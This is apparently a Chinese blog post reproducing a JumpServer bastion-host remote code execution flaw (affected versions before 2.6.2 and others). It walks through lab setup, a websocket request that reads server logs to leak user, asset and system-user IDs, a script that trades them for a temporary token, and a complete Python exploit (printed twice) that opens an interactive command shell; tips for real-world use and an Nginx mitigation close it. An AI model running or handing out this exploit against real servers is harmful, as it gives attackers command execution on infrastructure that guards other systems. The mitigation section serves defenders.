漏洞复现| jumpserver远程代码执行

简介

JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。

由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。

影响版本

JumpServer < v2.6.2  
JumpServer < v2.5.4  
JumpServer < v2.4.5   
JumpServer = v1.5.9

jumpserverv2.5.3环境搭建

1、docker搭建

JavaScript

git clone https://github.com/jumpserver/Dockerfile.git
cd Dockerfile
cp config_example.conf .env
cat .env
docker-compose up

2、访问http://IP

漏洞复现| jumpserver远程代码执行_第1张图片

你以为我们已经安装好了吗?no no no,我们还需要添加一台主机

jumpserverv2.5.3添加主机

(我这里添加的就是jumpserver主机)

1、资产管理->系统用户

添加系统用户,这里需要注意,密码就是jumpserver主机的密码

漏洞复现| jumpserver远程代码执行_第2张图片

2、资产管理->管理用户

创建管理用户(用于登录主机)

漏洞复现| jumpserver远程代码执行_第3张图片

3、资产管理->资产列表

创建资产,配置如下,提交

漏洞复现| jumpserver远程代码执行_第4张图片

4、权限管理->资产授权

漏洞复现| jumpserver远程代码执行_第5张图片

5、测试资产可连接性

资产列表,测试资产可连接性,ok之后,才可以进行后边的复现过程

漏洞复现| jumpserver远程代码执行_第6张图片

漏洞复现

1、获取三个id

使用插件连接websocket 进行日志读取,来获取到asset_id、system_user_id、user_id

插件下载地址:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

ws://192.168.52.129/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}

漏洞复现| jumpserver远程代码执行_第7张图片

2、获取临时token

通过这三个id获取临时token 20s

漏洞复现| jumpserver远程代码执行_第8张图片

import requests
import json
data={"user":"99944ea8-828d-4b95-97c7-a8f3f73adb80","asset":"791ca0df-3e3d-46b5-8944-9a0d05cb697b","system_user":"e58ad5c0-1127-4643-8993-25b1a5abe23f"}

url_host='http://192.168.52.129'

def get_token():
    url = url_host+'/api/v1/users/connection-token/?user-only=1'
    response = requests.post(url, json=data).json()
    print(response)
    return response['token']
get_token()

3、尝试websocket 连接

ws://192.168.52.129/koko/ws/token/?target_id=9cb8129e-0b61-4d8d-ae76-cf085f10a8e0   //target_id=上图获取到的token

漏洞复现| jumpserver远程代码执行_第9张图片

4、代码执行

最后通过脚本访问ws进行代码执行(需要修改host、user、asset、system_user)

漏洞复现| jumpserver远程代码执行_第10张图片

import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)


async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )


async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
    host = "http://192.168.52.129"
    cmd = "whoami"
    if host[-1] == "/":
        host = host[:-1]
    print(host)
    data = {
        "user": "99944ea8-828d-4b95-97c7-a8f3f73adb80",
        "asset": "791ca0df-3e3d-46b5-8944-9a0d05cb697b",
        "system_user": "e58ad5c0-1127-4643-8993-25b1a5abe23f",
    }
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = (
        "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic())

【EXP/POC】

Python

import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)


async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )


async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
    host = "http://192.168.52.129"
    cmd = "whoami"
    if host[-1] == "/":
        host = host[:-1]
    print(host)
    data = {
        "user": "99944ea8-828d-4b95-97c7-a8f3f73adb80",
        "asset": "791ca0df-3e3d-46b5-8944-9a0d05cb697b",
        "system_user": "e58ad5c0-1127-4643-8993-25b1a5abe23f",
    }
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = (
        "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic())

【防御方式】

1、建议JumpServer堡垒机(含社区版及企业版)用户升级至安全版本。

2、临时修复方案:

修改Nginx配置文件,以屏蔽漏洞接口 :

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx配置文件位置如下:

/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

Nginx配置文件实例为:

### 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
### 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }
 
...

修改配置文件完毕后,重启Nginx服务即可。

【总结】

1、实战中只需要通过/opt/jumpserver/logs/jumpserver获取system_user、user、asset这三个id即可。

2、通过这三个id获取一个临时token

3、通过临时token进行ws访问,然后执行命令

你可能感兴趣的:(安全漏洞)